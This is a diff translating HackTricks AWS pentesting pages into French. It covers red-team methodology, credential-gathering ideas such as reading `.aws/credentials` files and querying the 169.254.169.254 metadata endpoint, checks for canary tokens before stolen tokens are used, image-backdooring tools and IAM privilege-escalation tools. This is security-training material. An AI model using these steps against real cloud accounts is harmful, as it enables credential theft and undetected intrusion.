-  - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
-  - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Exposition de variables sensibles**
+- **Mauvaise configuration :** Préfixer les variables sensibles avec `NEXT_PUBLIC_`, les rendant accessibles côté client.
+- **Risque :** Exposition de clés API, d'identifiants de base de données ou d'autres données sensibles au public, entraînant des violations de données.
+- **Sensibles désactivés**
+- **Mauvaise configuration :** Si désactivé (par défaut), il est possible de lire les valeurs des secrets générés.
+- **Risque :** Augmentation de la probabilité d'exposition accidentelle ou d'accès non autorisé à des informations sensibles.
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index ad71de826..4bb746c4f 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -2,17 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+**Avant de commencer le pentesting** d'un **environnement AWS**, il y a quelques **choses de base que vous devez savoir** sur le fonctionnement d'AWS pour vous aider à comprendre ce que vous devez faire, comment trouver des erreurs de configuration et comment les exploiter.
 
-Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
+Des concepts tels que la hiérarchie des organisations, IAM et d'autres concepts de base sont expliqués dans :
 
 {{#ref}}
 aws-basic-information/
 {{#endref}}
 
-## Labs to learn
+## Laboratoires pour apprendre
 
 - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
 - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
 - [http://flaws.cloud/](http://flaws.cloud/)
 - [http://flaws2.cloud/](http://flaws2.cloud/)
 
-Tools to simulate attacks:
+Outils pour simuler des attaques :
 
 - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
 - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
 
-## AWS Pentester/Red Team Methodology
+## Méthodologie de Pentester/Red Team AWS
 
-In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
+Pour auditer un environnement AWS, il est très important de savoir : quels **services sont utilisés**, ce qui est **exposé**, qui a **accès** à quoi, et comment les services internes AWS et les **services externes** sont connectés.
 
-From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
+Du point de vue d'une Red Team, le **premier pas pour compromettre un environnement AWS** est d'obtenir des **identifiants**. Voici quelques idées sur comment faire cela :
 
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in AWS-Hosted Applications
-  - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
-  - **Local File Read**
-    - `/home/USERNAME/.aws/credentials`
-    - `C:\Users\USERNAME\.aws\credentials`
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- **Fuites** sur github (ou similaire) - OSINT
+- **Ingénierie** Sociale
+- Réutilisation de **mots de passe** (fuites de mots de passe)
+- Vulnérabilités dans les applications hébergées sur AWS
+- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) avec accès au point de terminaison des métadonnées
+- **Lecture de fichiers locaux**
+- `/home/USERNAME/.aws/credentials`
+- `C:\Users\USERNAME\.aws\credentials`
+- **Violations** de tiers
+- **Employé** interne
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)identifiants
 
-Or by **compromising an unauthenticated service** exposed:
+Ou en **compromettant un service non authentifié** exposé :
 
 {{#ref}}
 aws-unauthenticated-enum-access/
 {{#endref}}
 
-Or if you are doing a **review** you could just **ask for credentials** with these roles:
+Ou si vous faites une **révision**, vous pourriez simplement **demander des identifiants** avec ces rôles :
 
 {{#ref}}
 aws-permissions-for-a-pentest.md
 {{#endref}}
 
 > [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> Après avoir réussi à obtenir des identifiants, vous devez savoir **à qui appartiennent ces identifiants**, et **à quoi ils ont accès**, donc vous devez effectuer une énumération de base :
 
-## Basic Enumeration
+## Énumération de base
 
 ### SSRF
 
-If you found a SSRF in a machine inside AWS check this page for tricks:
+Si vous avez trouvé un SSRF sur une machine à l'intérieur d'AWS, consultez cette page pour des astuces :
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
 
 ### Whoami
 
-One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
-
+L'une des premières choses que vous devez savoir est qui vous êtes (dans quel compte vous êtes et d'autres informations sur l'environnement AWS) :
 ```bash
 # Easiest way, but might be monitored?
 aws sts get-caller-identity
@@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
 TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
 curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
 ```
-
 > [!CAUTION]
-> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> Notez que les entreprises peuvent utiliser des **canary tokens** pour identifier quand des **tokens sont volés et utilisés**. Il est recommandé de vérifier si un token est un canary token ou non avant de l'utiliser.\
+> Pour plus d'infos [**consultez cette page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
 
-### Org Enumeration
+### Enumeration d'Organisation
 
 {{#ref}}
 aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### IAM Enumeration
+### Enumeration IAM
 
-If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
+Si vous avez suffisamment de permissions, **vérifier les privilèges de chaque entité à l'intérieur du compte AWS** vous aidera à comprendre ce que vous et d'autres identités pouvez faire et comment **escalader les privilèges**.
 
-If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
-Check **how to do the numeration and brute-forcing** in:
+Si vous n'avez pas suffisamment de permissions pour énumérer IAM, vous pouvez **les voler par bruteforce** pour les découvrir.\
+Vérifiez **comment faire l'énumération et le bruteforce** dans :
 
 {{#ref}}
 aws-services/aws-iam-enum.md
 {{#endref}}
 
 > [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de déterminer quels services sont utilisés dans l'environnement.\
+> Dans la section suivante, vous pouvez vérifier quelques façons d'**énumérer certains services courants.**
 
-## Services Enumeration, Post-Exploitation & Persistence
+## Enumeration des Services, Post-Exploitation & Persistance
 
-AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
+AWS a un nombre étonnant de services, dans la page suivante vous trouverez des **informations de base, des cheatsheets d'énumération**, comment **éviter la détection**, obtenir **de la persistance**, et d'autres **astuces de post-exploitation** à propos de certains d'entre eux :
 
 {{#ref}}
 aws-services/
 {{#endref}}
 
-Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
+Notez que vous **n'avez pas** besoin d'effectuer tout le travail **manuellement**, ci-dessous dans ce post vous pouvez trouver une **section sur** [**les outils automatiques**](./#automated-tools).
 
-Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
+De plus, à ce stade, vous pourriez avoir découvert **plus de services exposés aux utilisateurs non authentifiés**, vous pourriez être en mesure de les exploiter :
 
 {{#ref}}
 aws-unauthenticated-enum-access/
 {{#endref}}
 
-## Privilege Escalation
+## Escalade de Privilèges
 
-If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
+Si vous pouvez **vérifier au moins vos propres permissions** sur différentes ressources, vous pourriez **vérifier si vous êtes capable d'obtenir des permissions supplémentaires**. Vous devriez vous concentrer au moins sur les permissions indiquées dans :
 
 {{#ref}}
 aws-privilege-escalation/
 {{#endref}}
 
-## Publicly Exposed Services
+## Services Exposés Publiquement
 
-While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
-As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
+Lors de l'énumération des services AWS, vous pourriez avoir trouvé certains d'entre eux **exposant des éléments à Internet** (ports VM/Containers, bases de données ou services de files d'attente, instantanés ou buckets...).\
+En tant que pentester/équipe rouge, vous devriez toujours vérifier si vous pouvez trouver **des informations sensibles / des vulnérabilités** sur eux car ils pourraient vous fournir **un accès supplémentaire au compte AWS**.
 
-In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
+Dans ce livre, vous devriez trouver **des informations** sur comment trouver **des services AWS exposés et comment les vérifier**. Concernant comment trouver **des vulnérabilités dans des services réseau exposés**, je vous recommanderais de **chercher** le **service** spécifique dans :
 
 {{#ref}}
 https://book.hacktricks.xyz/
 {{#endref}}
 
-## Compromising the Organization
+## Compromettre l'Organisation
 
-### From the root/management account
+### Depuis le compte racine/de gestion
 
-When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
+Lorsque le compte de gestion crée de nouveaux comptes dans l'organisation, un **nouveau rôle** est créé dans le nouveau compte, nommé par défaut **`OrganizationAccountAccessRole`** et donnant la politique **AdministratorAccess** au **compte de gestion** pour accéder au nouveau compte.
 
 <figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
 
-So, in order to access as administrator a child account you need:
+Donc, pour accéder en tant qu'administrateur à un compte enfant, vous devez :
 
-- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
-  - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
-  - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **Compromettre** le **compte de gestion** et trouver l'**ID** des **comptes enfants** et les **noms** du **rôle** (OrganizationAccountAccessRole par défaut) permettant au compte de gestion d'accéder en tant qu'admin.
+- Pour trouver les comptes enfants, allez dans la section organisations dans la console aws ou exécutez `aws organizations list-accounts`
+- Vous ne pouvez pas trouver le nom des rôles directement, donc vérifiez toutes les politiques IAM personnalisées et recherchez celles permettant **`sts:AssumeRole` sur les comptes enfants précédemment découverts**.
+- **Compromettre** un **principal** dans le compte de gestion avec la permission **`sts:AssumeRole` sur le rôle dans les comptes enfants** (même si le compte permet à quiconque du compte de gestion de se faire passer pour, étant un compte externe, des permissions spécifiques `sts:AssumeRole` sont nécessaires).
 
-## Automated Tools
+## Outils Automatisés
 
 ### Recon
 
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
-
+- [**aws-recon**](https://github.com/darkbitio/aws-recon) : Un outil de **collecte d'inventaire** axé sur la sécurité AWS, multi-threadé, écrit en Ruby.
 ```bash
 # Install
 gem install aws_recon
 
 # Recon and get json
 AWS_PROFILE=<profile> aws_recon \
-  --services S3,EC2 \
-  --regions global,us-east-1,us-east-2 \
-  --verbose
+--services S3,EC2 \
+--regions global,us-east-1,us-east-2 \
+--verbose
 ```
-
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
-
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist est un **outil multi-cloud pour obtenir des actifs** (noms d'hôtes, adresses IP) des fournisseurs de cloud.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vous aide à analyser vos environnements Amazon Web Services (AWS). Il contient désormais beaucoup plus de fonctionnalités, y compris l'audit des problèmes de sécurité.
 ```bash
 # Installation steps in github
 # Create a config.json file with the aws info, like:
 {
-    "accounts": [
-        {
-            "default": true,
-            "id": "<account id>",
-            "name": "dev"
-        }
-    ],
-    "cidrs":
-    {
-        "2.2.2.2/28": {"name": "NY Office"}
-    }
+"accounts": [
+{
+"default": true,
+"id": "<account id>",
+"name": "dev"
+}
+],
+"cidrs":
+{
+"2.2.2.2/28": {"name": "NY Office"}
+}
 }
 
 # Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
 python cloudmapper.py prepare #Prepare webserver
 python cloudmapper.py webserver #Show webserver
 ```
-
-- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
-
+- [**cartography**](https://github.com/lyft/cartography): Cartography est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
 ```bash
 # Install
 pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
 # Get AWS info
 AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt  --neo4j-user neo4j
 ```
+- [**starbase**](https://github.com/JupiterOne/starbase) : Starbase collecte des actifs et des relations provenant de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive soutenue par la base de données Neo4j.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory) : (Utilise python2) C'est un outil qui essaie de **découvrir tous** les [**ressources AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) créées dans un compte.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips) : C'est un outil pour **récupérer toutes les adresses IP publiques** (à la fois IPv4/IPv6) associées à un compte AWS.
 
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
-
-### Privesc & Exploiting
-
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
-  - Note that pacu **only checks your own privescs paths** (not account wide).
+### Privesc & Exploitation
 
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS scanné, y compris les AWS Shadow Admins. Il utilise powershell. Vous pouvez trouver la **définition des politiques privilégiées** dans la fonction **`Check-PrivilegedPolicy`** dans [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu) : Pacu est un **framework d'exploitation AWS** open-source, conçu pour les tests de sécurité offensive contre les environnements cloud. Il peut **énumérer**, trouver des **mauvais configurations** et **les exploiter**. Vous pouvez trouver la **définition des permissions privilégiées** dans [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) à l'intérieur du dict **`user_escalation_methods`**.
+- Notez que pacu **vérifie uniquement vos propres chemins de privesc** (pas à l'échelle du compte).
 ```bash
 # Install
 ## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
 > exec iam__enum_permissions # Get permissions
 > exec iam__privesc_scan # List privileged permissions
 ```
-
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
-
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) est un script et une bibliothèque pour identifier les risques dans la configuration de la gestion des identités et des accès (IAM) d'un compte AWS ou d'une organisation AWS. Il modélise les différents utilisateurs et rôles IAM dans un compte sous forme de graphe orienté, ce qui permet de vérifier les **escalades de privilèges** et les chemins alternatifs qu'un attaquant pourrait emprunter pour accéder à une ressource ou à une action dans AWS. Vous pouvez vérifier les **permissions utilisées pour trouver des chemins privesc** dans les fichiers se terminant par `_edges.py` dans [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
 ```bash
 # Install
 pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
 pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
-
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
-  It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
-
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining est un outil d'évaluation de la sécurité AWS IAM qui identifie les violations du principe du moindre privilège et génère un rapport HTML priorisé par risque.\
+Il vous montrera les clients **trop privilégiés**, les **politiques** en ligne et AWS et quels **principaux y ont accès**. (Il vérifie non seulement les privesc mais aussi d'autres types de permissions intéressantes, recommandé à utiliser).
 ```bash
 # Install
 pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
 # Analyze the IAM policies
 cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
 ```
-
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack évalue les comptes AWS pour des **vulnérabilités de détournement de sous-domaine** en raison de configurations déconnectées de Route53 et CloudFront.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lister les dépôts ECR -> Tirer le dépôt ECR -> Installer un backdoor -> Pousser l'image avec backdoor
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag est un outil qui **cherche** à travers les snapshots publics d'Elastic Block Storage (**EBS**) des secrets qui ont pu être accidentellement laissés.
 
 ### Audit
 
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
-
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit par Aqua est un projet open-source conçu pour permettre la détection des **risques de sécurité dans les comptes d'infrastructure cloud**, y compris : Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) et GitHub (Il ne recherche pas les ShadowAdmins).
 ```bash
 ./index.js --csv=file.csv --console=table --config ./config.js
 
 # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
 ## use "cis" for cis level 1 and 2
 ```
-
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
-
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité AWS, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique.
 ```bash
 # Install python3, jq and git
 # Install
@@ -331,15 +314,11 @@ prowler -v
 prowler <provider>
 prowler aws --profile custom-profile [-M csv json json-asff html]
 ```
-
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
-
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vous aide à acquérir une conscience situationnelle dans des environnements cloud inconnus. C'est un outil en ligne de commande open source créé pour aider les testeurs de pénétration et d'autres professionnels de la sécurité offensive à trouver des chemins d'attaque exploitables dans l'infrastructure cloud.
 ```bash
 cloudfox aws --profile [profile-name] all-checks
 ```
-
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
-
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite est un outil d'audit de sécurité multi-cloud open source, qui permet l'évaluation de la posture de sécurité des environnements cloud.
 ```bash
 # Install
 virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
 # Get info
 scout aws -p dev
 ```
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (utilise python2.7 et semble non maintenu)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus est un outil puissant pour les meilleures pratiques de durcissement AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (semble non maintenu). Il vérifie uniquement les identifiants configurés par défaut dans le système.
 
-- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+### Audit Constant
 
-### Constant Audit
-
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
-
-## DEBUG: Capture AWS cli requests
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian est un moteur de règles pour gérer les comptes et ressources de cloud public. Il permet aux utilisateurs de **définir des politiques pour activer une infrastructure cloud bien gérée**, à la fois sécurisée et optimisée en coûts. Il consolide de nombreux scripts ad hoc que les organisations ont en un outil léger et flexible, avec des métriques et des rapports unifiés.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** est une plateforme pour **la surveillance continue de la conformité, le reporting de conformité et l'automatisation de la sécurité pour le clou**d. Dans PacBot, les politiques de sécurité et de conformité sont mises en œuvre sous forme de code. Toutes les ressources découvertes par PacBot sont évaluées par rapport à ces politiques pour mesurer la conformité aux politiques. Le cadre **auto-fix** de PacBot offre la possibilité de répondre automatiquement aux violations de politiques en prenant des actions prédéfinies.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert est un cadre d'analyse de données **en temps réel** sans serveur qui vous permet de **ingérer, analyser et alerter** sur des données provenant de n'importe quel environnement, **en utilisant des sources de données et une logique d'alerte que vous définissez**. Les équipes de sécurité informatique utilisent StreamAlert pour scanner des téraoctets de données de journal chaque jour pour la détection et la réponse aux incidents.
 
+## DEBUG: Capturer les requêtes AWS cli
 ```bash
 # Set proxy
 export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
 # Run aws cli normally trusting burp cert
 aws ...
 ```
-
-## References
+## Références
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 02e6e7729..09a69b37a 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,331 +1,313 @@
-# AWS - Basic Information
+# AWS - Informations de base
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Organization Hierarchy
+## Hiérarchie de l'organisation
 
 ![](<../../../images/image (151).png>)
 
-### Accounts
+### Comptes
 
-In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
+Dans AWS, il y a un **compte root**, qui est le **conteneur parent pour tous les comptes** de votre **organisation**. Cependant, vous n'avez pas besoin d'utiliser ce compte pour déployer des ressources, vous pouvez créer **d'autres comptes pour séparer différentes infrastructures AWS** entre elles.
 
-This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
+C'est très intéressant d'un point de vue **sécurité**, car **un compte ne pourra pas accéder aux ressources d'un autre compte** (sauf si des ponts sont spécifiquement créés), de cette manière vous pouvez créer des limites entre les déploiements.
 
-Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
+Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un compte unique désigné comme le compte de gestion, et un ou plusieurs comptes membres.
 
-- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- Le **compte de gestion (le compte root)** est le compte que vous utilisez pour créer l'organisation. À partir du compte de gestion de l'organisation, vous pouvez faire ce qui suit :
 
-  - Create accounts in the organization
-  - Invite other existing accounts to the organization
-  - Remove accounts from the organization
-  - Manage invitations
-  - Apply policies to entities (roots, OUs, or accounts) within the organization
-  - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
-  - It's possible to login as the root user using the email and password used to create this root account/organization.
+- Créer des comptes dans l'organisation
+- Inviter d'autres comptes existants à l'organisation
+- Supprimer des comptes de l'organisation
+- Gérer les invitations
+- Appliquer des politiques aux entités (roots, OUs ou comptes) au sein de l'organisation
+- Activer l'intégration avec les services AWS pris en charge pour fournir des fonctionnalités de service à tous les comptes de l'organisation.
+- Il est possible de se connecter en tant qu'utilisateur root en utilisant l'email et le mot de passe utilisés pour créer ce compte root/organisation.
 
